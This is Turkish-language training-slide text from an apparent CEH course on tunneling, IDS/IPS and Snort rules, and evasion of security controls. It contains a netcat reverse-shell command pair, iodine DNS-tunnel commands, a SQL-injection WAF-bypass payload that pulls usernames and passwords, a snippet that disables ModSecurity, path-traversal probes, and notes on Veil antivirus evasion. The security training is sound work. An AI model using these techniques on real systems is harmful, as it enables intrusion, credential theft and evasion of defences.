İçerik filtreleyicilere takılmayacak bir ssh sunucu gereksinimi.
Kendi adsl ip adresiniz olabilir.
Rootshell.be adresi olabilir ya da 443. porttan ssh çalıştıran
herhangi bir ssh sunucu
109. BGA | CEH
@BGASecurity
SSH ile Proxy Tünelleme
Dynamic Port Forwarding olarak da bilinir.
OpenSSH Dynamic Port forwarding desteği ile bir nevi socks proxy
vazifesi görür.
Socks RFC-1928 ile tanımlanmış basit ama güçlü bir TCP
protokoldür.
Socks 5 ile UDP desteği de eklenmiştir.
Linux sistemlerde aşağıdaki komut ile Dynamic Port forwarding
çalıştırılabilir.
ssh -D 8080 rootshell.be -p 443
111. BGA | CEH
@BGASecurity
Tünel Kontrolü
Tünelimizin açıldığını kontrol etmek için komut satırından aşağıdaki
komutu verip çıktısını inceleyelim. Herhangi bir çıktı almıyorsanız
tünel kurulmamış demektir.
C:Console2>netstat -an|find "8080"
TCP 127.0.0.1:8080 0.0.0.0:0 LISTENING
Ya da Linux sistemlerde
Netstat –ant|grep :8080
113. BGA | CEH
@BGASecurity
Proxy Kullanılan Ortamlarda Gerekli Ayarlar
Internete Proxy üzerinden çıkıyorsanız (muhtemelen) ve
Proxyden sadece 80 ve 443 portları açıksa – ek olarak
proxy kullanici_adi/parola istiyor- bu durumda Putty/ssh
istemcisi programınızda Proxy ayarlarınızı girmeniz
gerekebilir.
Linux’da bunun için Netcat kullanabilirsiniz.
115. BGA | CEH
@BGASecurity
DNS Tünelleme
Amaç sadece yerel ağ dns sunucusuna erişimi olan iç ağ
kullanıcısının bu DNS sunucuyu aracı olarak kullanarak internete
paket gönderip alabilmesi.
Özellikle kapalı networklerden dışarı çıkış için tek yolun DNS
olduğu durumlarda vazgeçilmez tünelleme yöntemidir.
Günümüzde çoğu ağ – özellikle ticari Wifi sistemler- bu yönteme
karşı korumasızdır.
116. BGA | CEH
@BGASecurity
DNS Servisi Nasıl Çalışır?
DNS sistemi basitçe internet üzerinde kullanılan isim-IP
eşleşmesini ve maillerin yönlendirilmesi amaçlı kullanılır.
DNS sistemine ait temel bileşenler;
DNS sistemi çeşitli kayıt tiplerinden oluşur , bu tipler;
▪ A: isimden IP çözmek için
▪ MX: belirtilen isme ait mail sunucuyu bulur
▪ PTR: verilen IP için isim karşılığını bulur
▪ TXT: sunucuya ait çeşitli özellikleri almak için
117. BGA | CEH
@BGASecurity
DNS Sorguları
DNS sisteminde iki çeşit sorgu tipi vardır. Bunlar, iterative
sorgular ve recursive sorgulardır.
Recursive dns sorgular
İterative dns sorgular
118. BGA | CEH
@BGASecurity
Recursive/Iterative Dns Sorgular
Recursive sorgulama tipinde istemci dns sunucuya rekursif bir sorgu gönderir ve cevap
olarak sorgusuna karşılık gelen tam cevabı – sorguladığı domaine ait cevap- ya da bir hata
bekler.
DNS sorgulamaları için kullanılan nslookup komutu öntanımlı olarak rekursif sorgular
gönderir,
non rekursif sorgu göndermek için nslookup komutu set norecurse seçenekleri ile
çalıştırılması gerekir.
Nslookup
▪ Set nocurse
Iterative sorgu tipinde, istemci dns sunucuya sorgu yollar ve ondan verebileceği en iyi
cevabı vermesini bekler, yani gelecek cevap: ben bu sorgunun cevabını bilmiyorum şu DNS
sunucuya sor ya da bu sorgunun cevabı şudur şeklindedir.
119. BGA | CEH
@BGASecurity
DNS Tünelleme Nasıl Çalışır?
DNS protokolü çeşitli kayıt tiplerinden oluşur ve
sorgulamalar bu kayıt tipleri aracılığı ile yapılır.
Her sorgu tipinin max. taşıyabileceği veri miktarı vardır.
TXT kayıt tipi base64 formatında 220 byte taşıyabilir.
120. BGA | CEH
@BGASecurity
DNS Sorgu Süreci
Yerel ağınızdaki makinenizden abc.tunnel.huzeyfe.net adresinin sorgulandığında
aşağıdaki adımlar yürütülür.
1)Sorgu ilk olarak yerel DNS sunucuya iletilecektir,
2)Yerel DNS sunucu kendi ön belleğini kontrol ederek böyle bir kayıttan haberdar olup
olmadığına bakacaktır ve eğer kayıt varsa kullanıcıya cevap dönecektir
3)Eğer kendi üzerinde kayıt yoksa öncelikle huzeyfe.net’ten sorumlu DNS sunucuyu
bulacaktır
4)huzeyfe.net’ten sorumlu DNS sunucuyu bulduktan sonra tunnel.huzeyfe.net alt
domaininden kimin sorumlu olduğunu soracaktır ve alacağı cevaba
abc.tunnel.huzeyfe.net adresini soracaktır.
122. BGA | CEH
@BGASecurity
DNS Tünelleme Uygulaması
Sunucu tarafında yapılması gereken işlemler
netsec.huzeyfe.net. IN A 1.2.3.4
tunnel.huzeyfe.net. IN NS netsec.huzeyfe.net.
Böylece abc.tunnel.huzeyfe.net adresli bird sorgulama yapıldığında
bu sorgular 1.2.3.4 IP adresine gidecektir.
./iodined -f 5.5.5.1 abc.tunnel.huzeyfe.net
Opened /dev/tun0
Setting IP of tun0 to 5.5.5.1
Adding route 5.5.5.1/24 to 5.5.5.1
Add net 5.5.5.1: gateway 5.5.5.1
Setting MTU of tun0 to 1024
Opened UDP socketListening to dns for domain abc.tunnel.huzeyfe.net
123. BGA | CEH
@BGASecurity
DNS Tünelleme Uygulaması - II
İstemci tarafında aşağıdaki uygulama çalıştırılır
#iodine –f Sunucu_ip_adresi abc.tunnel.huzeyfe.net
Bu adımdan sonra istemci ve sunucu tarafında yeni tun arabirimleri oluşarak
5.5.5.1 ve 5.5.5.2 IP adreslerini alacatır. Istemciden sunucuya erişim kontrolü için
$ping 5.5.5.1 komutu çalıştırılabilir.
Sonrası istemci tarafında istenilen trafiği tünele yönlendirme ve sunucu tarafında
gelen trafiği nat aracılığı ile internete çıkarma işlemi...
124. BGA | CEH
@BGASecurity
DNS Tünelleme Trafik Analizi
Aynı domaine ait rastgele alt domain sorguları
Genellikle base32 encode edilmiş sorgular kullanılır
Anormallik tespit sistemleri tarafından yakalanabilir
125. BGA | CEH
@BGASecurity
Ultrasurf
Tünelleme yazılımlarının şahı!
Güvenlik sistemlerini atlatmak için çeşitli teknikler kullanır
Engellemenin en kolay yolu NTLM auth. Kullanımıdır
IPS üzerinden imza yazarak da engellenebilir
126. BGA | CEH
@BGASecurity
Ultrasurf Engelleyici Snort İmzası
16030100410100003d0301 hex ifadesinde normalTLS bağlantılarından farklı tek şey
Length değerleri.
Ultrasurf’e ait Length değerleri eğer değişirse ya da aynı değerleri kullanan başka
uygulamalar varsa onlar da engellenecektir.
16: ContentType: Handshake
03 01:VersionTLS1.0
00 41: Length 65
01: HandshakeType: Client Hello
00 00 3d: Length 61
03 01:VersionTLS1.0
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:”Ultrasurf Kullanimi!”;
flow:to_server,established; content:”|16030100410100003d0301|”;
classtype:policy-violation; sid:1000099;)
127. BGA | CEH
@BGASecurity
İç Ağı İnternete Açma
Klasik TCP/IP bilgisine göre internet üzerindeki birisi NAT arkasındaki
bir sisteme doğrudan ulaşamaz
Aradaki güvenlik/ağ cihazlarından ayar yapmadan
Evet internetten iç ağa doğrudan ulaşılamaz ama iç ağdan internete
doğrudan ulaşılabilir
Ve bu kanal kullanılarak internetten iç ağa da ulaşılabilir
Günümüz kötücül yazılımlarının firewall/nat arkasındaki zombi
makineleri yönetme yöntemlerinden biri
Netcat örneği
128. BGA | CEH
@BGASecurity
Netcat ile Tersine Shell
Amaç NAT arkasındaki bir sisteme internet üzerinden erişme
İş yerinde çalışan bir sistem mühendisinin VPN kullanmadan evden iş yeri
makinesine bağlanması
Internet makinesi:
Nc –l 443
Firewall arkasındaki iş yeri makinesi:
Nc –e internetmakinesi 443
129. BGA | CEH
@BGASecurity
Tünelleme Yazılımları Nasıl Engellenir?
IPS’ler için özek kural yazımı
Ngrep gibi pasif dinleme yazılımları
Yeni nesil güvenlik duvarları(NGX Firewall )
Anormallik tespit sistemleri
Trafik anormallik tespiti /dns tünelleme
Protokol anormallik tespiti / ssh tünelleme
Orta seviye TCP/IP bilgisine sahip çalışan
130. BGA | CEH
@BGASecurity
Sınır Koruma Evrimi
• Routerler üzerine yazılan erişim kontrol listeleri(ACL)
• Güvenlik duvarlarının gelişimi
▫ Durum korumasız güvenlik duvarları
▫ Durum korumalı(Stateful packet inspection)
• Saldırı Tespit Sistemleri(IDS)
▫ Pasif , sensor tabanlı , kompleks, false positive
• Saldiri tespit ve Engelleme (IDP) Sistemler
▫ Aktif, Protokol analizi, anormallik sezinleme
• Application Firewalls
▫ Web Application Firewall
• Log Tabanlı IDS
▫ Ossec
131. BGA | CEH
@BGASecurity
IDS, IPS Tanımları
▫ Tehdit Kavramı
▫ Saldırı, saldırgan
▫ İç Tehditler, dış tehditler
• IDS – Intrusion Detection System
▫ Saldırı Gözlem Sistemleri
▫ Gerçek dünya örneği: Arabalara takılan alarm
• IPS – Intrusion Protection System
▫ Saldırı Gözlem ve Engelleme Sistemleri
▫ Elektrik verilmiş dikenli tel örneği
132. BGA | CEH
@BGASecurity
Saldırı Tespit Yöntemleri
• İlk adım :Saldırı Tanımını belirleme
• İkinci adım:Bu tanıma uyan hareketlerin tanımlanması
• Saldırıyı nasıl tespit edebiliriz?
– İmza Tabanlı Saldırı Tespiti
– Protokol Anormalliği Aracılığıyla Saldırı Tespiti
– Trafik Anormallik Tespit Yöntemi Aracılığıyla
– Log izleme aracılığıyla
133. BGA | CEH
@BGASecurity
IDS/IPS Çeşitleri
• Ağ Tabanlı IDS/IPS Sistemleri
▫ Snort, TippingPoint, Mcafee, IBM ISS Proventia
• Kablosuz Ağ Saldırı Tespit Sistemleri
▫ Kismet
• Host Tabanlı IDS/IPS Sistemleri
▫ Mcafee HIPS
• Log Tabanlı IDS/IPS Sistemleri
▫ Ossec
• Dosya Bütünlük İzleme Sistemler
▫ Kritik dosyaların erişim, içerik ve haklarındaki değişiklikler
▫ Tripwire, Osiris
134. BGA | CEH
@BGASecurity
Dosya Bütünlük İzleme (File Integrity)
• Çalışma Yöntemi
– Belirli dizindeki tüm dosyaların hash değerini hesapla
– Bu değerleri sadece okunabilir bir yere kaydet
– Belirli zamanlarda dosyaların hash değerlerini tekrar al ve ilk hash
değerleriyle karşılaştır
• Bir byte değişse imza değişir
• Rootkitlere karşı sağlam koruma!
• Debian sunucularının hacklenmesi örneği
136. BGA | CEH
@BGASecurity
Ağ tabanlı Integrity Checking
DNS, whois, site içeriği, karalistelere girme durumu, SSL sertifika
durumu gibi bilgilerin değişip değişmediğini 7X24 kontrol eden ve ve
değişiklik anında size haber vermesini sağlayan sistem
137. BGA | CEH
@BGASecurity
Log Tabanlı IDS Sistemleri
Bağlantıların Loglarını izleyerek aksiyon alan IDS türü
Her ortam için uygun değil, saldırı kaçırma ihtimali yüksek
Snort için snort2c
Fail2ban – SSH için
OSSEC
138. BGA | CEH
@BGASecurity
Host Tabanlı IPS Sistemleri
Saldırıları son kademede engellemeye çalışır
Diğer atlatma teknikleri HIPS’ler için geçerli olmaz
SSL
Fragmentation
Mutation vs
Sisteme gereksiz yük bindirebilir
139. BGA | CEH
@BGASecurity
Kablosuz Ağ Saldırı Tespit Sistemleri
Wireless IDS/IPS
Kablosuz ağa izinsiz girişleri engelleme amaçlı
Basit çalışma mantığı
Ağda tanımlı MAC adreslerini ve AP isimlerini al
Çevrede bunlardan başka bağlantı yapmak isteyenlere
Deauth paketleri gönder, logla
Kismet kullanılarak yapılabilir
140. BGA | CEH
@BGASecurity
Ağ Tabanlı IDS/IPS Sistemleri
Sınır güvenliğinde en etkin bileşen
Ağ trafiği üzerinde işlem yapar
141. BGA | CEH
@BGASecurity
IDS - IPS Farkı
‘90ların başı
False positive olabilir
İzleme Amaçlı
2000’lerin başı
False positive olmamalı
Engelleme Amaçlı
142. BGA | CEH
@BGASecurity
IPS Yerleşimi
Ağın durumuna göre yerleşim önemli
Firewall Önü
Yüklü miktarda uyarı, gereksiz trafik
Tehditleri daha iyi belirler
Firewall arkası
Sadece FW’an geçen paketler, trafik yoğunluğu az
Tehditleri daha az belirleyebilir.
Switch Span portu, özel network tap cihazları(Internal)
Linux/BSD yüklü sağlam sunucu
Fail Open, Fail Close Özelliği
Bypass modülü
143. BGA | CEH
@BGASecurity
Snort: Açık Kod Atak Engelleme Sistemi
Açık Kaynak Kodlu, Özgür Lisansa Sahip
’98 yılında hobi amaçlı başlangıç
Günümüzde: akademik, askeri, ticari kullanım alanları
Sniffer & Logger
(N)IDS/(N)IPS/(N)IDP
Forensic Analiz Aracı
Linux/UNIX/Windows
Stateful Packet Tracking
Hedef tabanlı IDS özelliği
144. BGA | CEH
@BGASecurity
Snort Ticari Desteği
• Source Firması tarafından geliştirilir
– 300 çalışan
• Gartner raporuna göre en başarılı IPS’lerden biri(sourcefire)
• Açık kural dili
– Kendi kurallarınızı geliştirme
• 11.000 kural
– 2500 tavsiye edilen block kuralı
• 1 Mb -10Gb arası performans
146. BGA | CEH
@BGASecurity
Snort Kurulumu
İşletim Sistemi, donanım seçimi önemli..
Kurulum için ön gereksinimler
Libpcap, pcre ...
Klasik UNIX Kurulum adımları
(./configure && make && make install)
--enable-flexresp
--enable-inline
--with-mysql
Windows için hazır ikili paketler (WinSnort Projesi)
SnortVM : Snort ,BASE, MySQL on CentOS 4.3 Vmware imajı
147. BGA | CEH
@BGASecurity
Snort Kullanım Alanları
Snort çeşitli amaçlarla kullanılabilir
Sniffer olarak
Paket kaydedici olarak
Saldırı tespit sistemi olarak
Saldırı engelleme sistemi olarak
148. BGA | CEH
@BGASecurity
Sniffer olarak Snort
Tcpump benzeri yapı
Bpf filtreleri ile esnek kurallar yazma imkanı
L2-L7 trafik analizi
./snort -v
L2 bilgileri için
./snort –v –e
Veri kısmının sniff edilmesi
./snort -v -d
151. BGA | CEH
@BGASecurity
Aktif Yanıt Sistemi Çalışma Mantığı
TCP bağlantıları
TCP Reset
▪ Tek yönlü(Client Firewall drop RST )
▪ Çift yönlü
UDP bağlantıları
UDP Port Unreachable
▪ Tek yönlü
▪ Çift yönlü
153. BGA | CEH
@BGASecurity
IDS Kurallarını Anlamak
Oldukça Esnek kural yazma imkanı
Hazır kuralları kullanma
BleedingEdge
SourceFire Kuralları
Kuralları Güncelleme -OinkMaster
Kural = Kural Başlığı + Kural Seçenekleri
Telnet üzerinden root kullanıcısı ile giriş algılama kuralı
alert tcp $TELNET_SERVERS 23 -> $EXTERNAL_NET any (msg:"TELNET root login";
content:"login: root";
flow:from_server,established; classtype:suspicious-login; sid:719; rev:5;)
154. BGA | CEH
@BGASecurity
Kural Başlığı
alert tcp ! $EXTERNAL_NET any -> $TELNET_SERVERS 23
Kural başlığı: paketin nerden gelip nereye gittiğine , çeşidine(tcp, udp,
icmp, ip vs) ve kurala uyan paketlerin akibetine karar verir.
Alert/log/pass/activate/dynamic/drop/sdrop/reject.
Tek bir IP adresi, CIDR, gruplama kullanılabilir
Analiz amaçlı Kullanım: Activate/Dynamic
155. BGA | CEH
@BGASecurity
Kural Seçenekleri
Detection Engine’nin kalbi sayılır
() arasına yazılır ve birbirinden “;” ile ayrılır
Meta-data, payload, non-payload, post-detection alanları
Meta-data: Kural hakkında çeşitli bilgiler vermek için
Msg, reference, sid, priority vs
Payload: Veri kısmında içerik kontrolü
Non-Payload: Çeşitli protokol alanı özellikleri kontrolü
Post-detection: Kuralın ne aksiyon alacağı
(msg:"P2P Napster Client Data"; flow:established; content:".mp3"; nocase;
classtype:policy-violation; sid:564; rev:6;)
156. BGA | CEH
@BGASecurity
Kural Yazma
• Paket veri alanında spesifik içerik tarama için kullanılır
▫ content: [!] "<content string>";
• Binary(ikili) içerik için | 00 0F| kullanılır
alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS zone transfer TCP";
flow:to_server,established; content: "|00 00 FC|"; ... )
alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP login brute force
attempt"; flow:to_server,established; content:"LOGIN"; nocase;
• Nocase: büyük küçük harf ayrımı yapma
• Ofset: içerik aramaya nerden başlanacağını belirtir.
• Depth: kaç bytelık alan aranacak
158. BGA | CEH
@BGASecurity
Saldırı Engelleme Sistemleri (IPS)
İkinci nesil güvenlik sistemleri
Firewall & IDS -> IPS & WAF
Pakete ait tüm alanları(L2-L7 arası)
iceleyip karar verebilir
DROP TCP ANY 80 URICONTENT cmd.exe
Drop tcp any any -> 192.168.1.0/24 80 (content: "cgi-bin/phf";
offset: 3; depth: 22; msg: "CGI-PHF attack";)
Temelde iki farklı amaç için tercih edilir
İçerden dışarı yapılabilecek saldırılarda/istenmeyen trafiklerde
Dışardan gelebilecek saldırılarda
159. BGA | CEH
@BGASecurity
IDS/IPS Çalışma Mantığı
PORT, IP ve içeriğe göre karar verir
Firewall dan en önemli farkı paketlerdeki veri alanlarını (Payload)
inceleyebilmesi
Örnek:
Firewall: DST TCP Port 80 ACCEPT
IPS: dst tcp port 80 and http_uri = cmd.exe DROP
160. BGA | CEH
@BGASecurity
IPS Keşif Çalışması
Amaç:hedef sistem önünde aktif olarak çalışan IPS’lerin
belirlenmesi
Çoğu IPS ../../etc/passwd ve ../../../cmd.exe isteklerine karşı
engelleme politikasına sahiptir.
Hedef sunucuya bu tip HTTP istekleri göndererek sistem önünde
IPS var mı yok mu anlaşılabilir
http://blog.lifeoverip.net/2010/02/15/penetrasyon-testlerinde-
ips-kesfi/
161. BGA | CEH
@BGASecurity
IPS Keşif Çalışması
Bilinen tüm IPS’lerde default olarak gelen imzalar denenerek aktif bir IPS var
mı yok mu anlaşılabilir
%99 açık olan ve IPS’i tetikleyecek imzalar
Cmd.exe
../../
/etc/passwd
HTTP isteklerinde bu değerler gönderilerek dönen cevap incelenir
Klasik 404 vs gibi HTTP cevabı dönüyorsa IPS yok(ya da imzalar aktif değil)
Connection RST veya Timeout alınıyorsa IPS Vardır.
IPS yokken ne cevap döner, varken ne cevap döner
162. BGA | CEH
@BGASecurity
IPS Atlatma Teknikleri-I
IP parçalama
Encoding
Protokole özel atlatma
yöntemleri
Google –> IPS evasion …
168. BGA | CEH
@BGASecurity
IPS Şaşırtma
Tor Ağı üzerinden port tarama, paket gönderme
Nmap decoy scanning
Port taramayı farklı IP adreslerinden geliyormuş gibi gösterme
175. BGA | CEH
@BGASecurity
Antivirüs/HIPS Atlatma
AV yazılımları çalıştırılabilir veya normal dosyaların davranışı, imzaları ve
içeriklerine göre sınıflandırarak engelleme yapar.
En temel engelleme yöntemi statik olarak içerik ve hash kontrolüdür.
Davranışsal tabanlı engelleme yöntem ve araçları hassasiyet seviyesine göre
rahatlıkla atlatılabilmektedir.
Ne kadar az hassasiyet o kadar kolay atlatma, ne kadar çok hassasiyet o kadar
müşteri memnuniyetsizliği!
176. BGA | CEH
@BGASecurity
Veil - BLOGDAN
Veil Framework, çeşitli encoding yöntemleri kullanarak zararlı
kodları şifrelemeye yarayan, açık kaynak kodlu olarak geliştirilen
çok yönlü bir çatı yapısıdır.
Ayrıca Veil Framework her geçen gün gelişmekte ve kendisine
birçok özellik katmaktadır.
177. BGA | CEH
@BGASecurity
Veil
Veil Framework’ün
Kali Linux üzerinde
kurulumu
yapıldıktan sonra
konsoldan “veil-
evasion” komutu ile
çalıştırılabilir. 35
adet “payload”
hazır
bulunmaktadır.
179. BGA | CEH
@BGASecurity
Veil
Veil-Framework belirtilen
tüm ayarları aldıktan
sonra payloadı
oluşturmaya başlar. İşlem
bitiminde aşağıdaki
ekran görüntüsünde
bulunan benzer çıktılar
ile karşılaşılır.
180. BGA | CEH
@BGASecurity
Web Tabanlı Arka Kapı AV Atlatma
http://xploitaday.komodin.org/tools/php-encoder/index.html
182. BGA | CEH
@BGASecurity
Web Uygulama Güvenlik Duvarı
Web uygulamalarına spesifik güvenlik duvarı
Sadece port/ip değil tüm paket içeriğine(HTTP, HTTPS vs) bakarak
işlem yapılır
WAF arkasında çalıştırılan uygulama sisteme ne kadar iyi tanıtılırsa o
oranda başarı sağlanır
Ağ tabanlı IPS’lerden daha fazla koruma sağlar!
Değişik yerleşim/çalışma modelleri vardır
Inline
Reverse Proxy
Passive(Active Response)
184. BGA | CEH
@BGASecurity
WAF Atlatma
Genellikle WAF’lar SSL çözümleme yaptığı için SSL üzerinden
atlatma işe yaramaz
WAF’ların çıkışından itibaren çeşitli atlatma teknikleri
geliştirilmiştir
/*!12345 select * from */
Reverse_exec
http splitting
185. BGA | CEH
@BGASecurity
WAF Atlatma: SQL Yorumları
/* comment */ yorum satırı olarak algılanır (SQL +WAF+IPS
tarafından)
/*!sql-code*/ ve /*!12345sql-code*/ yorum olarak algılanmaz (SQL
tarafından) (WAF+IPS’ler tarafından yorum olarak algılanır)
/?id=1/*!limit+0+union+select+concat_ws(0x3a,username,password
,email)+from+users*/
188. BGA | CEH
@BGASecurity
WAF Atlatma: ModSecurity (Yerel)
www kullanıcısının yazma izni varsa hackerin ilk yapacağı işlerden
biri Modsecurity WAF’ı devre dışı bırakmak olacaktır.
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
189. BGA | CEH
@BGASecurity
İçerik Filtreleme Sistemlerini Atlatma Teknikleri
Amaç: iş saatleri içerisinde çalışanların zamanını verimli kullanmalarını sağlama
%23 iş kaybı
Facebook, myspace, gazete vs gibi yerler en fazla vakit geçirilen siteler
İçerik Filtreleme Yazılımları
Websense, Squid, Dansguardian
Bu sistemleri atlatmanın çeşitli yolları var
En bilinenleri ;;
190. BGA | CEH
@BGASecurity
HTTPS Baglantıları Üzerinden Atlatma
Sayfaların https üzerinden gezilmesi
Url bazli yasaklama yapanlar geçilir
Genellikle firmalarda 80. port proxy üzerinden çıkacak şekilde yapılandırılır
(veya transparan proxy çalışır) 443. port doğrudan internete çıkar
SSL üzerinden sadece domain ismi alınabilir (engelleme için), HTTP
connect metodu kullanılarak.
191. BGA | CEH
@BGASecurity
Arama Motorlarıyla Atlatma
Google & Yahoo araçlarini kullanarak atlatma teknikleri
Yahoo translator, Altavista translator,
Bing translator aracılığıyla
Arama motorlarının ön belleklerini kullanma
195. BGA | CEH
@BGASecurity
TOR Kullanarak İçerik Filtreleme Atlatma
The Onion Router
Amaç. Birbirinden bağımsız çalışan internet
sistemleri arasında şifreli trafik aktarımı
TOR trafiği sadece Exit Node üzerinden izlenebilir